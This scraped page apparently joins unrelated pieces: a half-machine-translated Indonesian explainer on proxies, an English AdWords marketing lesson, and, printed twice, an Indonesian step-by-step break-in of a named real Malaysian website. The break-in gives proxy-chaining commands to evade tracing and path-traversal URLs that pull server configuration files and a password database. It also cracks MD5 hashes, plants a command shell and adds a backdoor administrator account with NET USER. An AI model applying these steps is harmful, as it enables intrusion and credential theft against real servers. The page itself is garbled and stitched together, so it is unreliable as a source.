Bagaimana saya menyembunyikan alamat IP?

Metode yang paling umum Anda untuk menyembunyikan alamat IP adalah dengan menggunakan proxy server dalam satu bentuk atau lainnya. A proxy server is a computer that offers a computer network service to allow clients to make indirect network connections to other network services. A proxy server komputer yang menawarkan layanan jaringan komputer untuk mengizinkan klien untuk melakukan sambungan langsung ke jaringan lainnya layanan jaringan. A client connects to the proxy server and then requests a connection, file, or other resource available on a different server. Klien terhubung ke server proxy kemudian permintaan sambungan, file, atau sumber daya lainnya yang tersedia pada server yang berbeda. The proxy provides the resource either by connecting to the specified server or by serving it from a cache. Proxy menyediakan sumber daya baik oleh menghubungkan ke server atau ditentukan oleh melayani dari cache. In some cases, the proxy may alter the client's request or the server's response for various purposes. Dalam beberapa kasus, proxy dapat mengubah permintaan klien atau server Tanggapan untuk berbagai tujuan.

There are several implementations of proxy servers that you can use to hide your IP address (in an attempt to remain anonymous on the internet): Ada beberapa implementasi dari server proxy yang dapat digunakan untuk menyembunyikan alamat IP (sebagai upaya untuk tetap anonim di internet):

Website Based Proxy Servers Berdasarkan situs web proxy Server

A Website based proxy server is a website that provides a form for you to enter the URL of a website that you wish to anonymously visit. J Website berbasis server proxy adalah sebuah website yang menyediakan formulir bagi Anda untuk memasukkan URL situs Web yang ingin Anda kunjungi secara anonim. When you submit the form the website proxy server makes a request for the page that you want to visit. Bila Anda menyerahkan formulir di situs server proxy membuat permintaan untuk halaman yang ingin Anda kunjungi. The machine usually does not identify itself as a proxy server and does not pass along your IP address in the request for the page. Mesin biasanya tidak mengidentifikasi diri sebagai proxy server dan tidak meneruskan alamat IP dalam permintaan untuk halaman. The features of these sites vary (ad blocking, javascript blocking, etc) as does their price. Fitur yang berbeda dari situs-situs (memblokir iklan, memblokir javascript, dll) yang tidak harganya. Some are free and some charge. Beberapa bebas dan beberapa biaya. Examples of website proxy services are: Contoh situs web proxy layanan adalah:

• Proxify.com Proxify.com

Browser Configured Proxy Servers Browser dikonfigurasi Proxy Server

There are also stand alone proxy servers that allow for you to configure your browser to route your browser traffic through that machine, which then makes a request for a page on your behalf, and then sends you the results. Ada juga berdiri sendiri server proxy yang memungkinkan Anda untuk mengkonfigurasikan browser untuk rute lalu lintas melalui browser yang mesin, yang kemudian membuat permintaan untuk halaman atas nama Anda, kemudian mengirimkan hasil Anda. These are usually used at no cost to the user. Ini biasanya digunakan tanpa biaya bagi pengguna. Since they are accessible to the public these are often quite slow. Karena dapat diakses oleh publik sering kali ini agak lambat. Please see instructions for using a proxy server . There are a variety of types of these proxy servers: Silakan lihat petunjuk untuk menggunakan server proxy. Ada berbagai jenis server proxy ini:

• Transparent Proxy - This type of proxy server identifies itself as a proxy server and also makes the original IP address available through the http headers. Transparan proxy - Jenis server proxy mengidentifikasi diri sebagai proxy server dan juga membuat alamat IP yang asli tersedia melalui http headers. These are generally used for their ability to cache websites and do not effectively provide any anonymity to those who use them. Biasanya ini digunakan untuk kemampuan mereka untuk cache situs Web dan tidak efektif memberikan identitas kepada mereka yang menggunakannya. However, the use of a transparent proxy will get you around simple IP bans. Namun, penggunaan transparan proxy anda akan mendapatkan sekitar IP bans sederhana. They are transparent in the terms that your IP address is exposed, not transparent in the terms that you do not know that you are using it (your system is not specifically configured to use it.) This type of proxy server does not hide your IP address. Mereka transparan dalam hal alamat IP yang terkena, tidak transparan dalam istilah yang anda tidak tahu bahwa Anda menggunakannya (sistem anda tidak dikonfigurasi secara khusus untuk menggunakannya.) Jenis proxy server tidak menyembunyikan IP anda alamat.
• Anonymous Proxy - This type of proxy server identifies itself as a proxy server, but does not make the original IP address available. Anonymous Proxy - Jenis server proxy mengidentifikasi diri sebagai server proxy, tetapi tidak membuat asli alamat IP yang tersedia. This type of proxy server is detectable, but provides reasonable anonymity for most users. Jenis ini adalah server proxy detectable, tetapi memberikan anonimitas yang wajar bagi sebagian besar pengguna. This type of proxy server will hide your IP address. Jenis server proxy akan menyembunyikan alamat IP Anda.
• Distorting Proxy - This type of proxy server identifies itself as a proxy server, but make an incorrect original IP address available through the http headers. Distorting Proxy - Jenis server proxy mengidentifikasi diri sebagai server proxy, tetapi tidak benar asli membuat alamat IP yang tersedia melalui http headers. This type of proxy server will hide your IP address. Jenis server proxy akan menyembunyikan alamat IP Anda.
• High Anonymity Proxy - This type of proxy server does not identify itself as a proxy server and does not make available the original IP address. Anonimitas tinggi Proxy - Jenis server proxy tidak mengidentifikasi diri sebagai proxy server dan tidak menyediakan alamat IP yang asli. This type of proxy server will hide your IP address. Jenis server proxy akan menyembunyikan alamat IP Anda.

Installed Software Proxy Servers Software Proxy Server Terinstal

There are a variety of companies and software packages available at either a onetime cost or at an annual subscription. Ada berbagai perusahaan dan paket perangkat lunak yang tersedia di baik sekali pakai atau biaya berlangganan tahunan. These are usually faster and more reliable than the above proxy servers. Ini biasanya lebih cepat dan lebih handal di atas dari server proxy. Some of these services would include: Beberapa dari layanan ini akan mencakup:

• IP Saya
• sembunyi ip
  
• GhostSurf 2007 Platinum GhostSurf Platinum 2007
• TOR TOR

hack2

Situs www.rasasayang.com.my secara sekilas terlihat tidak memiliki bug yang cukup berarti untuk dieksploitasi oleh hacker. Namun ternyata masih terdapat celah yang bisa dieksploitasi. Berikut ini langkah-langkah yang dilakukan untuk membobol server ini. 1. Persiapan hacking
2. Pemeriksaan bug
3. Mendownload source code dan file konfigurasi
4. Mengupload file explorer dan windows shell command interface
5. Mengambil-alih server Saya akan menjelaskan langkah-langkah di atas satu per satu. 1. Persiapan hacking
Sebelumnya Anda harus memiliki list proxy server yang mendukung proxy-chain untuk menghindari pelacakan. Anda harus mengkoneksikan sekurang-kurangnya 2 anonymous proxy server di 2 negara yang berbeda. Anda dengan mudah mendapatkan proxy server di search engine Google. Namun bila Anda menemukan lebih banyak transparant proxy server, gunakan 3 transparant proxy server yang mendukung chain, dan rutekan koneksinya melintasi beberapa negara, misalnya: Brazil - China - India, sehingga bila dilacak oleh "Pengejar Hacker" maka mereka hanya akan melacak koneksi dari ISP Indonesia ke China. Pada sistem operasi windows, anda dapat menggunakan software mungil bouncer.exe untuk melakukan proxy-chain melalui parameter tunneling. Contoh dengan IP lokal 192.168.0.5: bouncer --bind 192.168.0.5 --port 8881 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080
bouncer --bind 192.168.0.5 --port 8882 --tunnel 192.168.0.5:8881 --destination 200.0.0.1:3128 Pada contoh di atas, bila kita mengeset proxy pada internet browser menjadi 192.168.0.5:8882 maka koneksi kita akan dirutekan melalui proxy server: 82.0.0.1:8080 -> 221.0.0.1:8080 -> 200.0.0.1:3128 -> www.rasasayang.com.my Karena kita menggunakan transparant proxy server maka IP 221.0.0.1 juga akan terlacak. Namun ini tidak masalah karena kita sebenarnya terkoneksi dari proxy server 82.0.0.1.
2. Pemeriksaan bug
Pemeriksaan dilakukan secara trial and error pada setiap parameter yang diperkirakan mengandung bug. Pada kasus ini terdapat bug pada module downloading file untuk mendownload file .mp3 dengan URL: http://www.rasasayang.com.my/index.cfm??dir=download&menu=home&task=dl_comm&cfile= Dari parameter di atas terlihat file dl_comm.cfm terletak pada folder download. Sekarang kita coba secara langsung mengeksekusi pada file .cfm tersebut dan menyisipkan parameter querystring cfile untuk mendapatkan source codenya. http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\download\dl_comm.cfm Ternyata hasilnya adalah file source code dl_comm.cfm. Berikut ini adalah bagian penting dari source code tersebut.

Dari source code ini kita bisa menemukan bahwa terdapat parameter querystring abs_dir dan cfile yang bisa mengarahkan kita untuk mendownload file apa saja dari harddisk server.
3. Mendownload source code dan file konfigurasi Kita jejaki setiap link di dalam source code-nya, kemudian kita download. Misalnya: http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\application.cfm
http://www.rasasayang.com.my/download/dl_comm.cfm?CFILE=..\index.cfm Dari kumpulan file inilah kemudian kita mendapatkan bocoran source code situs www.rasasayang.com.my yang telah diberitakan sebelumnya di situs ini. Selanjutnya kita download file konfigurasi web servernya dengan cara berikut: File konfigurasi IIS:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\WINDOWS\system32\inetsrv\MetaBase.xml File konfigurasi CFM:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\CFusionMX7\lib\neo-query.xml File History Internet Explorer untuk Administrator
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=C:\&CFILE=..\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat Dari file Metabase.xml kita dapat mengetahui bahwa terdapat beberapa situs web yang hosting di server ini.
- www.powerofpaytv.com, www.thepowerofpaytv.com yang terletak di E:\webuser\web\powerofpaytv.com
- www.jedrealty.com yang terletak di E:\webuser\web\jedrealty.com
- www.rasasayang.com.my yang terletak di E:\webuser\web\rasasayang.com.my Dari file index.dat kita dapat mengetahui bahwa Administrator melakukan proses administrasi upload dan download file dengan mengunjungi http://www.powerofpaytv.com/cometadvance/ Dari file neo-query.xml kita dapat mengetahui file database pengguna terletak di E:\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db.mdb yang dapat kita download melalui:
http://www.rasasayang.com.my/download/dl_comm.cfm?abs_dir=E:\&CFILE=..\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db.mdb Dari file dcm_casbaa_db.mdb ini kita memperoleh user-id dan password dalam bentuk MD5 hash. Dengan menggunakan software decryptor misalnya Cain & Abel kita dapat mendecyrpt passwordnya.
4. Mengupload file explorer dan windows shell command interface
Dari http://www.powerofpaytv.com/cometadvance/ kita dapat mengupload file explorer misalnya ASF File Explorer yang dibuat oleh Nahuel Foronda and Laura Arguello. Dengan ASF File Explorer, kita dapat membrowse file di harddisk secara lebih leluasa, serta meng-upload, download dan delete file. Untuk windows shell command interface, kita buatkan file.CFM dengan script berikut:








#Replace(Replace(Replace('#cmdResult#', '<', '<', 'all'), '>', '>', 'all'), Chr(10), '
', 'all')#

5. Mengambil-alih server
Kita dapat menambahkan user login windows (group administrator) dengan mengeksekusi perintah berikut pada windows shell command interface. NET USER mbahjambon mypassword /ADD /ACTIVE:YES /EXPIRES:NEVER /PASSWORDCHG:YES
NET LOCALGROUP Administrators mbahjambon /ADD Dengan menggunakan Windows Remote Desktop kita dapat mengambil alih servernya (IP 202.157.176.17). Koneksinya tetap dilakukan melalui proxy tunneling seperti contoh berikut: bouncer --bind 192.168.0.5 --port 8883 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080
bouncer --bind 192.168.0.5 --port 8884 --tunnel 192.168.0.5:8883 --destination 202.157.176.17:3389 sehingga kita dapat meremote server melalui Remote Desktop pada alamat: 192.168.0.5:8884 Demikian cara yang digunakan untuk membobol server situs www.rasasayang.com.my. Dengan membaca tulisan ini, mudah-mudahan para pembaca dapat menghindari bug sejenis pada server Anda.

hack

Studi Kasus kelemahan Server Situs www.rasasayang.com.my
Oleh Satria Kelana
Published: Oktober 29, 2007
Print

Situs www.rasasayang.com.my secara sekilas terlihat tidak memiliki bug yang cukup berarti untuk dieksploitasi oleh hacker. Namun ternyata masih terdapat celah yang bisa dieksploitasi. Berikut ini langkah-langkah yang dilakukan untuk membobol server ini.

1. Persiapan hacking
2. Pemeriksaan bug
3. Mendownload source code dan file konfigurasi
4. Mengupload file explorer dan windows shell command interface
5. Mengambil-alih server

Saya akan menjelaskan langkah-langkah di atas satu per satu.

1. Persiapan hacking
Sebelumnya Anda harus memiliki list proxy server yang mendukung proxy-chain untuk menghindari pelacakan. Anda harus mengkoneksikan sekurang-kurangnya 2 anonymous proxy server di 2 negara yang berbeda. Anda dengan mudah mendapatkan proxy server di search engine Google. Namun bila Anda menemukan lebih banyak transparant proxy server, gunakan 3 transparant proxy server yang mendukung chain, dan rutekan koneksinya melintasi beberapa negara, misalnya: Brazil - China - India, sehingga bila dilacak oleh "Pengejar Hacker" maka mereka hanya akan melacak koneksi dari ISP Indonesia ke China.

Pada sistem operasi windows, anda dapat menggunakan software mungil bouncer.exe untuk melakukan proxy-chain melalui parameter tunneling. Contoh dengan IP lokal 192.168.0.5:

bouncer --bind 192.168.0.5 --port 8881 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080
bouncer --bind 192.168.0.5 --port 8882 --tunnel 192.168.0.5:8881 --destination 200.0.0.1:3128

Pada contoh di atas, bila kita mengeset proxy pada internet browser menjadi 192.168.0.5:8882 maka koneksi kita akan dirutekan melalui proxy server: 82.0.0.1:8080 -> 221.0.0.1:8080 -> 200.0.0.1:3128 -> www.rasasayang.com.my

Karena kita menggunakan transparant proxy server maka IP 221.0.0.1 juga akan terlacak. Namun ini tidak masalah karena kita sebenarnya terkoneksi dari proxy server 82.0.0.1.

2. Pemeriksaan bug
Pemeriksaan dilakukan secara trial and error pada setiap parameter yang diperkirakan mengandung bug. Pada kasus ini terdapat bug pada module downloading file untuk mendownload file .mp3 dengan URL:

http://www.rasasayang.com.my/index.c...dl_comm&cfile=

Dari parameter di atas terlihat file dl_comm.cfm terletak pada folder download. Sekarang kita coba secara langsung mengeksekusi pada file .cfm tersebut dan menyisipkan parameter querystring cfile untuk mendapatkan source codenya.

http://www.rasasayang.com.my/downloa...ad\dl_comm.cfm

Ternyata hasilnya adalah file source code dl_comm.cfm. Berikut ini adalah bagian penting dari source code tersebut.





Dari source code ini kita bisa menemukan bahwa terdapat parameter querystring abs_dir dan cfile yang bisa mengarahkan kita untuk mendownload file apa saja dari harddisk server.


3. Mendownload source code dan file konfigurasi

Kita jejaki setiap link di dalam source code-nya, kemudian kita download. Misalnya:

http://www.rasasayang.com.my/downloa...pplication.cfm
http://www.rasasayang.com.my/downloa...E=..\index.cfm

Dari kumpulan file inilah kemudian kita mendapatkan bocoran source code situs www.rasasayang.com.my yang telah diberitakan sebelumnya di situs ini.

Selanjutnya kita download file konfigurasi web servernya dengan cara berikut:

File konfigurasi IIS:
http://www.rasasayang.com.my/downloa...v\MetaBase.xml

File konfigurasi CFM:
http://www.rasasayang.com.my/downloa...\neo-query.xml

File History Internet Explorer untuk Administrator
http://www.rasasayang.com.my/downloa...E=..\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat

Dari file Metabase.xml kita dapat mengetahui bahwa terdapat beberapa situs web yang hosting di server ini.
- www.powerofpaytv.com, www.thepowerofpaytv.com yang terletak di E:\webuser\web\powerofpaytv.com
- www.jedrealty.com yang terletak di E:\webuser\web\jedrealty.com
- www.rasasayang.com.my yang terletak di E:\webuser\web\rasasayang.com.my

Dari file index.dat kita dapat mengetahui bahwa Administrator melakukan proses administrasi upload dan download file dengan mengunjungi http://www.powerofpaytv.com/cometadvance/

Dari file neo-query.xml kita dapat mengetahui file database pengguna terletak di E:\webuser\web\powerofpaytv.com\_db\dcm_casbaa_db. mdb yang dapat kita download melalui:
http://www.rasasayang.com.my/downloa..._casbaa_db.mdb

Dari file dcm_casbaa_db.mdb ini kita memperoleh user-id dan password dalam bentuk MD5 hash. Dengan menggunakan software decryptor misalnya Cain & Abel kita dapat mendecyrpt passwordnya.


4. Mengupload file explorer dan windows shell command interface
Dari http://www.powerofpaytv.com/cometadvance/ kita dapat mengupload file explorer misalnya ASF File Explorer yang dibuat oleh Nahuel Foronda and Laura Arguello. Dengan ASF File Explorer, kita dapat membrowse file di harddisk secara lebih leluasa, serta meng-upload, download dan delete file.

Untuk windows shell command interface, kita buatkan file.CFM dengan script berikut:










#Replace(Replace(Replace('#cmdResult#', '<', '<', 'all'), '>', '>', 'all'), Chr(10), '
', 'all')#



5. Mengambil-alih server
Kita dapat menambahkan user login windows (group administrator) dengan mengeksekusi perintah berikut pada windows shell command interface.

NET USER mbahjambon mypassword /ADD /ACTIVE:YES /EXPIRES:NEVER /PASSWORDCHG:YES
NET LOCALGROUP Administrators mbahjambon /ADD

Dengan menggunakan Windows Remote Desktop kita dapat mengambil alih servernya (IP 202.157.176.17). Koneksinya tetap dilakukan melalui proxy tunneling seperti contoh berikut:

bouncer --bind 192.168.0.5 --port 8883 --tunnel 82.0.0.1:8080 --destination 221.0.0.1:8080
bouncer --bind 192.168.0.5 --port 8884 --tunnel 192.168.0.5:8883 --destination 202.157.176.17:3389

sehingga kita dapat meremote server melalui Remote Desktop pada alamat: 192.168.0.5:8884

Demikian cara yang digunakan untuk membobol server situs www.rasasayang.com.my. Dengan membaca tulisan ini, mudah-mudahan para pembaca dapat menghindari bug sejenis pada server Anda.


sumber:
-http://www.jasakom.com/index.php?cat..._articleid=569

Web Traffic?

Player's Guide - Lesson 1

"Are You Prepared To Profit From Instant Web Traffic?"

Warning - If you're not serious about creating an online business that "makes your money for you", please stop reading this now!

Welcome to The Player's Guide To Adwords Domination.

Before we start, I want to cut a deal with you. You see, I wrote this series of lessons out of a desire to teach others how to create serious wealth using PPC advertising. I've poured a lot of effort into this course, but only because I know 200% that this works. And what's more, it should work for anyone who uses these strategies for their own business.

And because I've worked so hard to create this, I want it to work for you. If you end up "wasting" your time by reading this once and not applying it…well let's just say we can't have any of that.

The only way we're going to do this is if you promise to apply the money-making strategies that I'm about to share with you. In return, you have my word that I will show you the exact steps that I have taken to bring in instant traffic and build my online empire. I still get kicks out of calling my business an empire.

Simple give and take (or show and tell).

To give you a quick idea of what I'm talking about (and to show you what's easily possible)…

This is from just one campaign I run on Google AdWords (more on this later) for just one of my products for last month. This is for a $167 product. You'll notice that the cost/conversion is as low as $2.59! You'll also se that almost all of the groups running have a clickthrough rate higher than 5%. Some as high as 10%! The great thing about this, is once it's up and running, it literally take NO work to earn money via Adwords. It's all on autopilot.

In the next few lessons, I will be teaching only those skills that you absolutely need to know in order to create your own wealth (and then maybe take your own screenshots?) like I have shown above.

Ready to roll? Let's start with the lifeblood of any online business - website traffic - and how you can create it instantly.

How to create instant website traffic?

While I was preparing my notes for this lesson, I started to think about what people want to learn the most when it comes to making money online. What do you want to learn most about making money online?

Is it:

• How to make more sales?
• How to create a winning product?
• How to actually make a sale (the technical aspects of online business)?

The first thing I want to tell you is to start focusing on what is truly important in business, whether it's a brick-and-mortar store your grandpa owned or a snazzy new website you've just started.

The first question that you should be asking (not the only question because there is more to creating online wealth, but this is the most important point) is:

How do I drive more traffic to my website?

As an entrepreneur, your income will always be (beyond a certain point) a function of traffic.

• More people coming in to your store to look at antiques = more sales = more money.
• More prospects getting your sales letter in their mailboxes = more sales = more money.
• More people visiting your online store… you get the picture.

Traffic is important. It's the lifeblood that runs and determines the success of any business. You may know it by different names, so to put it in another way:

More people seeing your sales pitch = more money coming into the bank. (granted your sales pitch is something people want)

Doesn't get simpler than that.

Note: In future lessons I'll talk to you about the other factors that determine your income - product value, pricing and most importantly, converting this traffic into enthusiastic, buying customers.

Back to the original question: How do you create instant website traffic?

Search engines are a good way to bring free traffic to your website - and while I've been teaching business owners like you, how to bring in truckloads of free search engine traffic for several years now, the problem with this method is that it takes time to rank highly in Google and other search engines.

... And we all only have a limited amount of time. The challenge here is to create a money-making machine that attracts prospects, reels them in, converts them into customers and repeats the process all over again. Think of it as a revolving door - prospects just keep coming to your website and keep going out as happy customers (hopefully).

The good news is that there already is such a system for bringing in instant traffic - pay-per-click advertising (PPC). I'll be talking exclusively about how you can use PPC advertising via Google Adwords, to drive traffic to your website and convert that traffic into customers.

The bad news is that 95 percent of PPC advertisers end up throwing several hundred bucks down the hole before they even begin to understand how pay-per-click works. What's more, there are many business owners who, after being burned to the tune of several thousands of dollars, give up on PPC advertising because they don't get how it works.

Imagine the pain of giving up a marketing opportunity like that, just because you were so frustrated that nothing was working.

What I've done here is I've broken PPC advertising down for you in simple terms - and as you will see in this lesson and the next, I'll be taking you by hand and cutting through all the mystery that surrounds AdWords (my ad network of choice) and pay-per-click marketing.

Pay Per Click Advertising in Plain English

Perry Marshall, in his Guide to Google AdWords, says this about PPC advertising:

"[It] is about getting in front of people who are looking for what you sell right this moment and get them to respond."

You have the ability to reach your target market instantly, and get them to make a decision on your product/service. And that's not just it.

It takes just 10 minutes for you to set up an ad campaign in Google AdWords - and immediately after your ad is ready, it will start bringing in traffic to your websites. No matter what you're selling, you have a chance, in 10 minutes, to start making sales.

What other advertising platform let's you make a sale that fast?

Better question - how can YOU use this speed (of getting an idea to the market and testing it almost instantly) to your advantage?

The biggest advantage of PPC advertising is that you can test new business ideas quickly and cheaply by running an ad campaign for a few hours and monitoring its results. This alone can save you thousands (if not hundreds of thousands) of dollars in advertising and product creation - but only if you do it right (I'll show you how to in the next 6 lessons).

Pay-per-click advertising operates on two simple premises:

• You pay only for visitors that come to your site (no upfront costs - every "click" while being an expense is also a chance for you to convert that visitor into a customer). You pay a certain amount "per click" on your ad. If nobody clicks on your ad, you don't pay a dime... and also get no visitors. The goal is to get many TARGETED visitors, while paying as little as possible per click.
• Your ads are displayed in the search engines according to what people are searching / looking for. (i.e. If someone search for "weight loss" and you're bidding on the term "weight loss", your ad will be displayed when someone searches for that phrase.)

There are two major PPC ad engines:

1. Google AdWords
2. Yahoo Search Marketing (formerly Overture).

While they are both very effective in pulling in traffic, I exclusively use Google AdWords (and I'll explain why in just a minute).

Having said that, I don't discourage you from using YSM. In certain niche markets the YSM network is still not hyper-saturated (unlike AdWords, where the competition is higher) and you may be able to realize serious short-term gains if you play the PPC game right.

What I would discourage you from is to using a PPC ad network other than AdWords or YSM. Beyond these two the situation is pretty bleak with poor traffic quality, click fraud and lack of a sizeable user base all contributing to an abject failure.

5 Reasons why you should be using Google AdWords

Reason 1: The Google audience / user base has traditionally catered to technical audiences and more importantly, to Internet savvy users.

The kind of users who are comfortable with buying online.

These users (the tech-savvy, buying kind) are more likely to use Google than Yahoo or MSN).

Reason 2: Google AdWords delivers instant results - you can have your ad campaign up and running in 10 minutes flat. Compared to this Yahoo can take anywhere from 2 to 5 days while they manually review ads.

Reason 3: With AdWords, you can go target your prospects geographically down to countries, states and cities. This is a great advantage for businesses selling hard goods or services - they would prefer local prospects as opposed to someone half way across the world.

Reason 4: My favorite quality about AdWords is that it rewards good ad performance - that is, for an ad that converts (clicks/impressions percentage) exceptionally well (high click-through-rate (CTR)), your ad will get better ad placement as well as better pricing. Google wants to display the most relevant ads for the user. So... it makes perfect sense that YOU will pay less per click, the higher the clickthrough rate of your ad is.

Note: Click-through rate is simply the percentage that users click on your ad. For example, if 100 users saw your ad, and 2 people clicked your ad to visit your website, your click-through rate would be 2% (2/100).

Reason 5: Your competition cannot see the exact amount you're bidding for your keywords or the CTR your ads are getting - a distinct tactical advantage that Yahoo lacks. Basically, your competition will NEVER be able to tell how you are marketing your product, unless they use a trick I'm going to show you later ;-) So, they won't be able to copy off of your marketing and steal your prospects.

Bottom line - bringing instant traffic to your websites and converting those prospects into satisfied customers is a much better option than waiting around for your search engine rankings to.

And, in my opinion, Google AdWords is the only game in town when it comes to PPC advertising.

In the next lesson, I'll sit with you and take you through the entire process of creating an ad campaign through Google AdWords. I'll take you from start to finish - from picking your keywords to creating an account to writing an ad to making it go live - and we'll do it in less than 10 minutes.

Watch out for the next lesson - "10 minutes to instant website traffic".

All the best,

Brad Callen
PPC Marketer
http://www.keywordelite.com

purox